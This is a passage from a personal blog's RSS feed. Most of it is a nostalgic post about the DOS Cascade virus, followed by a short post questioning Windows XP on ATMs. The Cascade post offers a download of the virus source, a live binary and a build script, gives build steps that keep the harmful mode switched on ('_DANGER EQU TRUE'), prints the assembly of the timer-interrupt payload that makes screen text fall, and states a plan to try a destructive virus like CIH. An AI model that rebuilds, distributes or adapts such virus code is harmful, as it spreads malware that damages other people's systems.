following:</p><ul><li><strong>cascade.asm</strong><ul><li>The source code of the actual virus. This is the cleaned up version that I used for building the virus.</li></ul></li><li><strong>cascade.com</strong><ul><li>Live virus. Do not execute this in an unprotected system, if you don&#8217;t know what you are doing. Be careful. <strong><br /> </strong></li></ul></li><li><strong>makehlv.bat</strong><ul><li>Cleaned up (for masm/x2b) make BAT file. Execute this from the prompt to build the virus.</li></ul></li><li><strong>readme.txt</strong><ul><li>Contains a description of file and SW requirements.</li></ul></li></ul><h3><strong>How to build the virus?</strong></h3><p>I used <a rel="nofollow" target="_blank" title="MASM 6.11 Google result" href="http://www.google.co.in/search?hl=en&amp;client=firefox-a&amp;rls=org.mozilla:en-US:official&amp;hs=gZV&amp;q=masm+6.11+download&amp;revid=936360423&amp;sa=X&amp;oi=revisions_inline&amp;resnum=0&amp;ct=revision&amp;cd=1" target="_blank"><strong>MASM 6.11d</strong></a> (16bit assembler) along with <strong><a rel="nofollow" target="_blank" title="Exe2Bin Replacement" href="http://www.faqs.org/faqs/assembly-language/x86/general/part2/section-8.html" target="_blank">X2B</a> </strong>(EXE -&gt; COM Converter) for building the virus. You also need DOS <a rel="nofollow" target="_blank" title="Some DOS programs available online" href="http://www.uv.tietgen.dk/staff/mlha/Download/DOS/#Microsoft" target="_blank"><strong>debug</strong></a> executable for patching up the initial jump (automatically done by <em>makehlv.bat</em>). If you are using <strong>exe2bin</strong>, you have to modify <strong>makehlv.bat</strong> accordingly.</p><p>Once you have the environment setup, follow these steps:</p><ol><li>Open <em>cascade.asm</em>. Find &#8220;DEMO EQU FALSE&#8221; (It should be near line number 13). If you make this &#8220;DEMO EQU TRUE&#8221;, virus will not exhibit any harmful things. For our purpose, leave it at &#8220;DEMO EQU FALSE&#8221;.</li><li>Add &#8220;_DANGER EQU TRUE&#8221; after this line.</li><li>Now, execute the following command from the command line to build the virus: <strong>makehlv cascade</strong></li></ol><h3>Virus in action:</h3><p>Video is always better than a static picture. Don&#8217;t you agree? Look at the following video I captured:</p><p><object id="VideoPlayback" style="width: 400px; height: 326px;" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="100" height="100" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="flashvars" value="flashvars" /><param name="src" value="http://video.google.com/googleplayer.swf?docId=5231335142316813466&amp;hl=en" /><embed id="VideoPlayback" style="width: 400px; height: 326px;" type="application/x-shockwave-flash" width="100" height="100" src="http://video.google.com/googleplayer.swf?docId=5231335142316813466&amp;hl=en" flashvars="flashvars"></embed></object></p><p>I also found another excellent video:</p><p><object id="VideoPlayback" style="width: 400px; height: 326px;" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="100" height="100" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="flashvars" value="flashvars" /><param name="src" value="http://video.google.com/googleplayer.swf?docId=-8955290981694149674&amp;hl=en" /><embed id="VideoPlayback" style="width: 400px; height: 326px;" type="application/x-shockwave-flash" width="100" height="100" src="http://video.google.com/googleplayer.swf?docId=-8955290981694149674&amp;hl=en" flashvars="flashvars"></embed></object></p><h3>Virus Code:</h3><p>The actual <em>cascading</em> is implemented in the following <a rel="nofollow" target="_blank" title="Timer interrupt" href="http://members.tripod.com/vitaly_filatov/ng/asm/asm_001.14.html" target="_blank"><strong>INT 1C</strong></a> handler. The function <em><strong>Random</strong></em> is called for obtaining a random screen row and a column. If the character there is not SPACE, it is moved accordingly downwards. Speaker is toggled, which you won&#8217;t get to to know if you run this in a VM. The code is pretty self explanatory.</p><p>You can get the complete source code here:</p> <a class="downloadlink dlimg" href="http://kannan.jumbledthoughts.com/wp-content/plugins/download-monitor/download.php?id=7" title="Version 1.0 downloaded 14 times" ><img src="http://kannan.jumbledthoughts.com/wp-content/plugins/download-monitor/img/download.gif" alt="Download x86 ASM source code for Cascade virus Version 1.0" title="Cascade Virus: Down the memory lane. (Jumbled Thoughts)" /></a><pre class="brush:asm">XI_048       LABEL   NEAR
XR_009      EQU     XI_048 + PSPsize
 	TEST    CS:[ISR_Flags],MASK R_in_1c OR MASK ExtCom
 	JZ      XI_049
 	JMP     XI_067
XI_049:      OR      CS:[ISR_Flags],MASK R_in_1c
 	DEC     CS:[XR_002]
 	JZ      XI_050
 	JMP     XI_066
XI_050:     SAVE    DS,ES
 	MOV_S   DS,CS
 	MOV_S   ES,CS
 	SAVE    AX,BX,CX,DX,SI,DI,BP
 	MOV     AL,EOI_8259A
 	OUT     PORT_B_8259A,AL
 	MOV     AX,[XR_003]
 	CMP     AX,0438
 	JNB     XI_051
 	MOV     AX,0438
XI_051:     CALL    Random
 	INC     AX
 	MOV     [XR_002],AX
 	MOV     [XR_003],AX
 	PUSH    DS
 	MOV     AX,BIOSDATASEG
 	MOV     DS,AX
 	MOV     AX,[B_VidPage]
 	POP     DS
 	MOV     [Page_offset],AX
 	MOV     [Last_Line],18
 	MOV     DL,-1
 	MOV     AX,1130
 	MOV     BH,0
 	SAVE    ES,BP
 	INT     10
 	REST    BP,E
 	CMP     DL,-1
 	JZ      XI_052
 	MOV     [Last_Line],DL
XI_052:         CALL    GetSysSpeed
 	MOV     AH,0F
 	INT     10
 	MOV     [Num_of_Col],AH
 	MOV     [Prevent_Snow?],0
 	MOV     [Seg_of_VRAM],MonoBase
 	CMP     AL,07
 	JZ      XI_054
 	JB      XI_053
 	JMP     XI_064
XI_053:         MOV     [Seg_of_VRAM],ColorBase
 	CMP     AL,03
 	JA      XI_054
 	CMP     AL,02
 	JB      XI_054
 	MOV     [Prevent_Snow?],01
 	MOV     AL,[Last_Line]
 	INC     AL
 	MUL     [Num_of_Col]
 	MOV     [Num_of_char],AX
 	MOV     AX,[XR_004]
 	CMP     AX,[Num_of_char]
 	JBE     XI_054
 	MOV     AX,[Num_of_char]
XI_054:         CALL    Random
 	INC     AX
 	MOV     SI,AX
XI_055:         XOR     DI,DI
XI_056:         INC     DI
 	MOV     AX,[Num_of_char]
 	SHL     AX,1
 	CMP     DI,AX
 	JBE     XI_057
 	JMP     XI_064
XI_057:         OR      [ISR_Flags],MASK Recf_1
 	MOV     AL,[Num_of_Col]
 	MOV     AH,0
 	CALL    Random
 	MOV     DL,AL
 	MOV     AL,[Last_Line]
 	MOV     AH,0
 	CALL    Random
 	MOV     DH,AL
 	CALL    Load_from_VRAM
 	CALL    Is_it_blank_?
 	JB      XI_056
 	CALL    Spec_Graphik?
 	JB      XI_056
 	MOV     [Last_Pair],AX
 	MOV     CL,[Last_Line]
 	MOV     CH,0
XI_058:         INC     DH
 	CMP     DH,[Last_Line]
 	JA      XI_062
 	CALL    Load_from_VRAM
 	CMP     AH,[Last_Attr]
 	JNZ     XI_062
 	CALL    Is_it_blank_?
 	JB      XI_060
XI_059:         CALL    Spec_Graphik?
 	JB      XI_062
 	INC     DH
 	CMP     DH,[Last_Line]
 	JA      XI_062
 	CALL    Load_from_VRAM
 	CMP     AH,[Last_Attr]
 	JNZ     XI_062
 	CALL    Is_it_blank_?
 	JNB     XI_059
 	CALL    Toggle_Speaker
 	DEC     DH
 	CALL    Load_from_VRAM
 	MOV     [Last_Char],AL
 	INC     DH
XI_060:         AND     [ISR_Flags],NOT MASK Recf_1
 	DEC     DH
 	MOV     AL,' '
 	CALL    Write_to_VRAM
 	INC     DH
 	MOV     AL,[Last_Char]
 	CALL    Write_to_VRAM
 	JCXZ    XI_061
 	CALL    Delay
 	DEC     CX
XI_061:         JMP     XI_058
XI_062:         TEST    [ISR_Flags],MASK Recf_1
 	JZ      XI_063
 	JMP     XI_056
XI_063:         CALL    Toggle_Speaker
 	DEC     SI
 	JZ      XI_064
 	JMP     XI_055
XI_064:         IN      AL,PORT_B_8255
 	AND     AL,0FC
 	OUT     PORT_B_8255,AL
 	MOV     AX,3
 	CALL    Random
 	INC     AX
 	MUL     [XR_004]
 	JNB     XI_065
 	MOV     AX,-1
XI_065:         MOV     [XR_004],AX
 	REST    BP,DI,SI,DX,CX,BX,AX,ES,DS
XI_066:         AND     CS:[ISR_Flags],NOT MASK R_in_1c
XI_067:         JMP     DWORD PTR CS:[Org_Int_1C]</pre><p>My next target is to try a destructive virus like CIH. I will let you know what happens. Till then enjoy the mesmerizing cascade effect <img src='http://kannan.jumbledthoughts.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' title="Cascade Virus: Down the memory lane. (Jumbled Thoughts)" /></p><p>[Updated: May 16, 2010 - Fixed the download link]</p><div id="crp_related"><h3>Related Posts:</h3><ul><li><a href="http://kannan.jumbledthoughts.com/index.php/21-virus-and-other-malware-payload-videos/" rel="bookmark" class="crp_title">21 Virus and other Malware payload videos</a></li><li><a href="http://kannan.jumbledthoughts.com/index.php/english-movies-online-1/" rel="bookmark" class="crp_title">English Movies Online &#8211; 1</a></li><li><a href="http://kannan.jumbledthoughts.com/index.php/movies-in-google-videos/" rel="bookmark" class="crp_title">Movies in Google Videos</a></li><li><a href="http://kannan.jumbledthoughts.com/index.php/hindi-movies-online-2/" rel="bookmark" class="crp_title">Hindi Movies Online &#8211; 2</a></li><li><a href="http://kannan.jumbledthoughts.com/index.php/virus-group-29a-disbanded-whos-next/" rel="bookmark" class="crp_title">Virus group 29A disbanded &#8211; who&#8217;s next?</a></li></ul></div><div class="shr-bookmarks shr-bookmarks-expand shr-bookmarks-center shr-bookmarks-bg-enjoy"><ul class="socials"><li class="shr-twitter"> <a href="http://twitter.com/home?status=Cascade+Virus%3A+Down+the+memory+lane.+-+<h3>This domain is forbidden!</h3>&amp;source=shareaholic" rel="nofollow" class="external" title="Tweet This!">Tweet This!</a></li><li class="shr-comfeed"> <a href="http://kannan.jumbledthoughts.com/index.php/cascade-virus-down-the-memory-lane/feed" rel="nofollow" class="external" title="Subscribe to the comments for this post?">Subscribe to the comments for this post?</a></li><li class="shr-delicious"> <a href="http://delicious.com/post?url=http://kannan.jumbledthoughts.com/index.php/cascade-virus-down-the-memory-lane/&amp;title=Cascade+Virus%3A+Down+the+memory+lane." rel="nofollow" class="external" title="Share this on del.icio.us">Share this on del.icio.us</a></li><li class="shr-digg"> <a href="http://digg.com/submit?phase=2&amp;url=http://kannan.jumbledthoughts.com/index.php/cascade-virus-down-the-memory-lane/&amp;title=Cascade+Virus%3A+Down+the+memory+lane." rel="nofollow" class="external" title="Digg this!">Digg this!</a></li><li class="shr-diigo"> <a href="http://www.diigo.com/post?url=http://kannan.jumbledthoughts.com/index.php/cascade-virus-down-the-memory-lane/&amp;title=Cascade+Virus%3A+Down+the+memory+lane.&amp;desc=I%20have%20always%20been%20fascinated%20with%20computer%20virii.%20My%20first%20exposure%20to%20computer%20virii%20was%20back%20in%201994%2C%20when%20my%20360KB%20floppy%20disk%20got%20infected%20by%20STONED.%20The%20hype%20around%20virii%20was%20so%20much%20and%20I%20was%20so%20misinformed%2C%20I%20kept%20that%20infected%20disk%20in%20the%20jacket%2C%20away%20from%20all%20other%20diskettes%20I%20owned%20for%202%20" rel="nofollow" class="external" title="Post this on Diigo">Post this on Diigo</a></li><li class="shr-googlebuzz"> <a href="http://www.google.com/buzz/post?url=http://kannan.jumbledthoughts.com/index.php/cascade-virus-down-the-memory-lane/&amp;imageurl=" rel="nofollow" class="external" title="Post on Google Buzz">Post on Google Buzz</a></li><li class="shr-misterwong"> <a href="http://www.mister-wong.com/addurl/?bm_url=http://kannan.jumbledthoughts.com/index.php/cascade-virus-down-the-memory-lane/&amp;bm_description=Cascade+Virus%3A+Down+the+memory+lane.&amp;plugin=sexybookmarks" rel="nofollow" class="external" title="Add this to Mister Wong">Add this to Mister Wong</a></li><li class="shr-mixx"> <a href="http://www.mixx.com/submit?page_url=http://kannan.jumbledthoughts.com/index.php/cascade-virus-down-the-memory-lane/&amp;title=Cascade+Virus%3A+Down+the+memory+lane." rel="nofollow" class="external" title="Share this on Mixx">Share this on Mixx</a></li><li class="shr-reddit"> <a href="http://reddit.com/submit?url=http://kannan.jumbledthoughts.com/index.php/cascade-virus-down-the-memory-lane/&amp;title=Cascade+Virus%3A+Down+the+memory+lane." rel="nofollow" class="external" title="Share this on Reddit">Share this on Reddit</a></li><li class="shr-stumbleupon"> <a href="http://www.stumbleupon.com/submit?url=http://kannan.jumbledthoughts.com/index.php/cascade-virus-down-the-memory-lane/&amp;title=Cascade+Virus%3A+Down+the+memory+lane." rel="nofollow" class="external" title="Stumble upon something good? Share it on StumbleUpon">Stumble upon something good? Share it on StumbleUpon</a></li><li class="shr-technorati"> <a href="http://technorati.com/faves?add=http://kannan.jumbledthoughts.com/index.php/cascade-virus-down-the-memory-lane/" rel="nofollow" class="external" title="Share this on Technorati">Share this on Technorati</a></li></ul><div style="clear:both;"></div></div><div class="su-linkbox" id="post-212-linkbox"><div class="su-linkbox-label">Link to this post!</div><div class="su-linkbox-field"><input type="text" value="&lt;a href=&quot;http://kannan.jumbledthoughts.com/index.php/cascade-virus-down-the-memory-lane/&quot;&gt;Cascade Virus: Down the memory lane.&lt;/a&gt;" onclick="javascript:this.select()" readonly="readonly" style="width: 100%;" /></div></div>]]></content:encoded> <wfw:commentRss>http://kannan.jumbledthoughts.com/index.php/cascade-virus-down-the-memory-lane/feed/</wfw:commentRss> <slash:comments>11</slash:comments> </item> <item><title>Is Windows XP the right OS for an ATM?</title><link>http://kannan.jumbledthoughts.com/index.php/is-windows-xp-the-right-os-for-an-atm/</link> <comments>http://kannan.jumbledthoughts.com/index.php/is-windows-xp-the-right-os-for-an-atm/#comments</comments> <pubDate>Sun, 10 Jun 2007 13:18:46 +0000</pubDate> <dc:creator>kannanmr</dc:creator> <category><![CDATA[Computers]]></category> <category><![CDATA[Software]]></category> <category><![CDATA[Technology]]></category> <category><![CDATA[dumb]]></category> <category><![CDATA[ATM]]></category> <category><![CDATA[BSOD]]></category> <category><![CDATA[crash]]></category> <category><![CDATA[error-message]]></category> <category><![CDATA[firmware]]></category> <category><![CDATA[Security]]></category> <category><![CDATA[windows]]></category><guid isPermaLink="false">http://kannan.jumbledthoughts.com/index.php/is-windows-xp-the-right-os-for-an-atm/</guid> <description><![CDATA[Have you ever wondered what the ATM runs on?Â Most 0f the ATMs in India (and all around the world) run some flavor of Windows. Nowadays they use XP (some with SP2, if the technical team is good) but I remember seeing Windows 98 (saw BSOD once in one of the Chennai ATMs); Also read somewhere [...]]]></description> <content:encoded><![CDATA[<p>Have you ever wondered what the ATM runs on?Â Most 0f the ATMs in India (and all around the world) run some flavor of Windows. Nowadays they use XP (some with SP2, if the technical team is good) but I remember seeing Windows 98 (saw BSOD once in one of the Chennai ATMs); Also read somewhere that they used to have embedded Windows NT, OS/2 and sometimes even Windows CE! I know what you must be thinking now &#8211; <strong>How safe is it</strong>, right? A good design should put the ATMs in their own private network, if so I only will be worrying &#8220;<strong>Who is going to reset the ATM when Windows crashes? <img src='http://kannan.jumbledthoughts.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' title="Is Windows XP the right OS for an ATM? (Jumbled Thoughts)" /> </strong>Â &#8221;; now I realize why the security person in ATM seems to be knowledgeble on the machines&#8230;talk of all the ways one can gain some IT gnaan!</p><p><img width="400" src="http://kannan.jumbledthoughts.com/wp-content/upload/2007/06/1.jpg" alt="ATM powered by Windows XP" height="300" style="width: 400px; height: 300px" title="ATM powered by Windows XP" /></p><p>Above is an ATM of the famous VTB bank of Russia, <a rel="nofollow" target="_blank" target="_blank" href="http://englishrussia.com/?p=981" title="EnglishRussia">powered by an unactivated copy of Windows XP</a>. <img src='http://kannan.jumbledthoughts.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' title="Is Windows XP the right OS for an ATM? (Jumbled Thoughts)" /> Look at a closeup of the activation dialog box below.</p><p><img width="400" src="http://kannan.jumbledthoughts.com/wp-content/upload/2007/06/2.jpg" alt="Activation screen" height="300" style="width: 400px; height: 300px" title="Activation screen" /></p><p><strong>I wonder why ATMs don&#8217;t have their own OSs</strong>! When we talk so much about <a rel="nofollow" target="_blank" target="_blank" href="http://www.pcworld.com/article/id,113997-page,1/article.html" title="Windows ATM hit by a WORM">security</a> / <a rel="nofollow" target="_blank" target="_blank" href="http://www.theregister.co.uk/content/55/34175.html" title="W32 Nachi">WORMS &amp; malware stuff</a>, does it make sense to use a general purpose OS for something so critical as an ATM? Even a cellphone costing a mere INR 4000 has so any OS flavors to choose from,Â why isÂ the ATM you withdraw that INR 4000 from is stuck with a most-often-unpatched version of Windows? As <a rel="nofollow" target="_blank" target="_blank" href="http://en.wikipedia.org/wiki/Obelix" title="These Romans are Crazy [Obelix]">Obelix</a> would have said &#8211; &#8220;<strong>These ATM makers are crazy</strong>!!&#8221;</p><p>Check out these interesting links related to Windows Crashes:</p><ul><li><a rel="nofollow" target="_blank" target="_blank" href="http://www.drbrad.org/flight-info.html" title="Flight Info and ATM crashes">Windows crashes on Flight information screens and ATMs</a></li><li>ATM crash <a rel="nofollow" target="_blank" target="_blank" href="http://blog.zemote.com/archives/2005/08/25/atm-crash/" title="ATM1">here</a> and <a rel="nofollow" target="_blank" target="_blank" href="http://broken.typepad.com/b/2004/08/atm_running_win.html" title="ATM2">here</a></li><li><a rel="nofollow" target="_blank" target="_blank" href="http://gizmodo.com/gadgets/gadgets/slot-machine-flashes-blue-screen-of-death-231989.php" title="Crashes">Slot machines</a> too&#8230;</li><li><a rel="nofollow" target="_blank" target="_blank" href="http://www.windowscrash.com/modules.php?set_albumName=Business&amp;op=modload&amp;name=gallery&amp;file=index&amp;include=view_album.php&amp;page=2" title="Crashes 2">Gallery full of Windows crashes</a> on ATMs/slot machines</li><li>Oh no!Â <a rel="nofollow" target="_blank" target="_blank" href="http://www.flickr.com/photos/christian_johannesen/528627394/in/pool-66835733@N00" title="Crashes 3">Even trains are not spared</a>Â &amp; other <a rel="nofollow" target="_blank" target="_blank" href="http://www.feedshow.com/show_items-feed=10b15f0f4ed02582213449cacdc9e337" title="Crashes 4">Public computer errors</a></li></ul><div id="crp_related"><h3>Related Posts:</h3><ul><li><a href="http://kannan.jumbledthoughts.com/index.php/wintricks-collection-of-windows-tips-and-tricks/" rel="bookmark" class="crp_title">WinTricks: Collection of Windows Tips and Tricks</a></li><li><a href="http://kannan.jumbledthoughts.com/index.php/windows-live-writer-problems-with-wordpress-how-to-fix/" rel="bookmark" class="crp_title">Windows Live Writer problems with WordPress &#8211; How To fix?</a></li><li><a href="http://kannan.jumbledthoughts.com/index.php/howto-enable-aero-mode-in-windows-server-2008-r2/" rel="bookmark" class="crp_title">HowTo: Enable Aero mode in Windows server 2008 R2</a></li><li><a href="http://kannan.jumbledthoughts.com/index.php/moving-from-windows-to-linux-hosting-plan-good-or-evil/" rel="bookmark" class="crp_title">Moving from Windows to Linux hosting plan &#8211; Good or Evil?</a></li><li><a href="http://kannan.jumbledthoughts.com/index.php/virus-group-29a-disbanded-whos-next/" rel="bookmark" class="crp_title">Virus group 29A disbanded &#8211; who&#8217;s next?</a></li></ul></div><div class="shr-bookmarks shr-bookmarks-expand shr-bookmarks-center shr-bookmarks-bg-enjoy"><ul class="socials"><li class="shr-twitter"> <a href="http://twitter.com/home?status=Is+Windows+XP+the+right+OS+for+an+ATM%3F+-+<h3>This domain is forbidden!</h3>&amp;source=shareaholic" rel="nofollow" class="external" title="Tweet This!">Tweet This!</a></li><li class="shr-comfeed"> <a href="http://kannan.jumbledthoughts.com/index.php/is-windows-xp-the-right-os-for-an-atm/feed" rel="nofollow" class="external" title="Subscribe to the comments for this post?">Subscribe to the comments for this post?</a></li><li class="shr-delicious"> <a href="http://delicious.com/post?url=http://kannan.jumbledthoughts.com/index.php/is-windows-xp-the-right-os-for-an-atm/&amp;title=Is+Windows+XP+the+right+OS+for+an+ATM%3F" rel="nofollow" class="external" title="Share this on del.icio.us">Share this on del.icio.us</a></li><li class="shr-digg"> <a href="http://digg.com/submit?phase=2&amp;url=http://kannan.jumbledthoughts.com/index.php/is-windows-xp-the-right-os-for-an-atm/&amp;title=Is+Windows+XP+the+right+OS+for+an+ATM%3F" rel="nofollow" class="external" title="Digg this!">Digg this!</a></li><li class="shr-diigo"> <a href="http://www.diigo.com/post?url=http://kannan.jumbledthoughts.com/index.php/is-windows-xp-the-right-os-for-an-atm/&amp;title=Is+Windows+XP+the+right+OS+for+an+ATM%3F&amp;desc=Have%20you%20ever%20wondered%20what%20the%20ATM%20runs%20on%3F%C3%82%C2%A0Most%200f%20the%20ATMs%20in%20India%20%28and%20all%20around%20the%20world%29%20run%20some%20flavor%20of%20Windows.%20Nowadays%20they%20use%20XP%20%28some%20with%20SP2%2C%20if%20the%20technical%20team%20is%20good%29%20but%20I%20remember%20seeing%20Windows%2098%20%28saw%20BSOD%20once%20in%20one%20of%20the%20Chennai%20ATMs%29%3B%20Also%20read%20somewhere%20that%20t" rel="nofollow" class="external" title="Post this on Diigo">Post this on Diigo</a></li><li class="shr-googlebuzz"> <a href="http://www.google.com/buzz/post?url=http://kannan.jumbledthoughts.com/index.php/is-windows-xp-the-right-os-for-an-atm/&amp;imageurl=" rel="nofollow" class="external" title="Post on Google Buzz">Post on Google Buzz</a></li><li class="shr-misterwong"> <a href="http://www.mister-wong.com/addurl/?bm_url=http://kannan.jumbledthoughts.com/index.php/is-windows-xp-the-right-os-for-an-atm/&amp;bm_description=Is+Windows+XP+the+right+OS+for+an+ATM%3F&amp;plugin=sexybookmarks" rel="nofollow" class="external" title="Add this to Mister Wong">Add this to Mister Wong</a></li><li class="shr-mixx"> <a href="http://www.mixx.com/submit?page_url=http://kannan.jumbledthoughts.com/index.php/is-windows-xp-the-right-os-for-an-atm/&amp;title=Is+Windows+XP+the+right+OS+for+an+ATM%3F" rel="nofollow" class="external" title="Share this on Mixx">Share this on Mixx</a></li><li class="shr-reddit"> <a href="http://reddit.com/submit?url=http://kannan.jumbledthoughts.com/index.php/is-windows-xp-the-right-os-for-an-atm/&amp;title=Is+Windows+XP+the+right+OS+for+an+ATM%3F" rel="nofollow" class="external" title="Share this on Reddit">Share this on Reddit</a></li><li class="shr-stumbleupon"> <a href="http://www.stumbleupon.com/submit?url=http://kannan.jumbledthoughts.com/index.php/is-windows-xp-the-right-os-for-an-atm/&amp;title=Is+Windows+XP+the+right+OS+for+an+ATM%3F" rel="nofollow" class="external" title="Stumble upon something good? Share it on StumbleUpon">Stumble upon something good? Share it on StumbleUpon</a></li><li class="shr-technorati"> <a href="http://technorati.com/faves?add=http://kannan.jumbledthoughts.com/index.php/is-windows-xp-the-right-os-for-an-atm/" rel="nofollow" class="external" title="Share this on Technorati">Share this on Technorati</a></li></ul><div style="clear:both;"></div></div><div class="su-linkbox" id="post-145-linkbox"><div class="su-linkbox-label">Link to this post!</div><div class="su-linkbox-field"><input type="text" value="&lt;a href=&quot;http://kannan.jumbledthoughts.com/index.php/is-windows-xp-the-right-os-for-an-atm/&quot;&gt;Is Windows XP the right OS for an ATM?&lt;/a&gt;" onclick="javascript:this.select()" readonly="readonly" style="width: 100%;" /></div></div>]]></content:encoded> <wfw:commentRss>http://kannan.jumbledthoughts.com/index.php/is-windows-xp-the-right-os-for-an-atm/feed/</wfw:commentRss> <slash:comments>9</slash:comments> </item> </channel> </rss>
<!-- Performance optimized by W3 Total Cache. Learn more: http://www.w3-edge.com/wordpress-plugins/

Minified using disk
Page Caching using disk (enhanced) (request URI is rejected)
Database Caching 31/71 queries in 0.359 seconds using disk

Served from: kannan.jumbledthoughts.com @ 2010-07-29 23:49:57 -->